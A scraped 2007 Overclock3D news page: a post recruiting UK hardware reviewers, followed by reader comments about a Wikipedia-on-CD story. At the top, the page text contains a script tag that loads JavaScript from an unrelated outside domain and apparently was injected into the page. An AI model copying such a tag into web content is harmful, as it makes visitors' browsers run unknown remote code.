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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 27/04/07
Author: James Napier
Source: Overclock3D


Overclock3D is Recruiting

Fancy getting your hands on the latest software and hardware as (or even before) it's released? Got plenty of time and patience to produce top quality and honest reviews on products from some of the hottest manufacturers in the computer industry? Then this could well be the perfect opportunity to fulfill your dreams (and make us very happy in the process).

OC3D Is Recruiting

Overclock3D LTD is looking for a new hardware reviewer to its existing UK team and help us on our way to becoming the largest, most trusted review site in the UK and indeed around the globe. Interested? Well there are some prerequisites before spamming us with hundreds of e-mails:

• You must be based in the UK and be over 18yrs old.
• You need to have an excellent writing manner and be able to produce enthusiastic, grammatically correct pieces.
• You need to have plenty of spare time on your hands and be easily contactable.
• You will need a digital camera capable of taking high-quality pictures.
• A basic understanding of HTML is advantageous but not essential.
• Providing us with samples of any previous articles you've written would be helpful.
• And most importantly: You need to know what you're talking about!

This role is ideally suited to someone who enjoys all aspects of the PC enthusiast scene, and is looking for something rewarding to do in their spare time.

If you think you've got what it takes, contact us now for further information.
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Most Recent Comments

26-04-2007, 20:34:19

llwyd
CD?! lets see some justification for the money that has been poured into the development of Blu-Ray for christ sake. Wanting it to be widely accessible is no excuse, even £300 dell desktops come with DVD-RWs these days

26-04-2007, 20:48:01

PP Mguire
YEa seriously. They could put a whole lot moer on DVD.

27-04-2007, 10:35:31

ionicle
4.7Gb compared with 700mb, hell, a dual layered dvd could even hold 9.4, double the space!

27-04-2007, 10:55:35

nathan
well there not planning on putting everything on there, so im sure 700 will be fine.

27-04-2007, 11:00:45

Rastalovich
Hmmm, I guess they`re only considering the stuff that is 110% correct also ???

27-04-2007, 11:04:59

Joe

Hmmm, I guess they`re only considering the stuff that is 110% correct also ???




damn its only gonna be like 2 articles on the disk == info about jimmy wales and a description of wikipedia

27-04-2007, 11:05:03

Toxcity
To be honest, I wouldn't get it.
If it is all on the web what is the point... Unless you don't have the internet.. :eek:

27-04-2007, 11:14:26

Rastalovich
I can actually see a really good use for this.

If u had an infrastructure where a really large user-base use Wiki a hell of alot - and some companies do, u could include the cd/copy of the cd, into u`r server and have it search that b4 going onto the net.

Save a fair bit of `net traffic perhaps, depending on how much content they get.

27-04-2007, 11:18:14

Toxcity

I can actually see a really good use for this.

If u had an infrastructure where a really large user-base use Wiki a hell of alot - and some companies do, u could include the cd/copy of the cd, into u`r server and have it search that b4 going onto the net.

Save a fair bit of `net traffic perhaps, depending on how much content they get.



You have a good point...
But how much net traffic does wiki pull? :p

27-04-2007, 11:26:20

nathan

I can actually see a really good use for this.

If u had an infrastructure where a really large user-base use Wiki a hell of alot - and some companies do, u could include the cd/copy of the cd, into u`r server and have it search that b4 going onto the net.

Save a fair bit of `net traffic perhaps, depending on how much content they get.



Most, if not all big companies will have some sort of proxy cache, so they wouldnt really need it.
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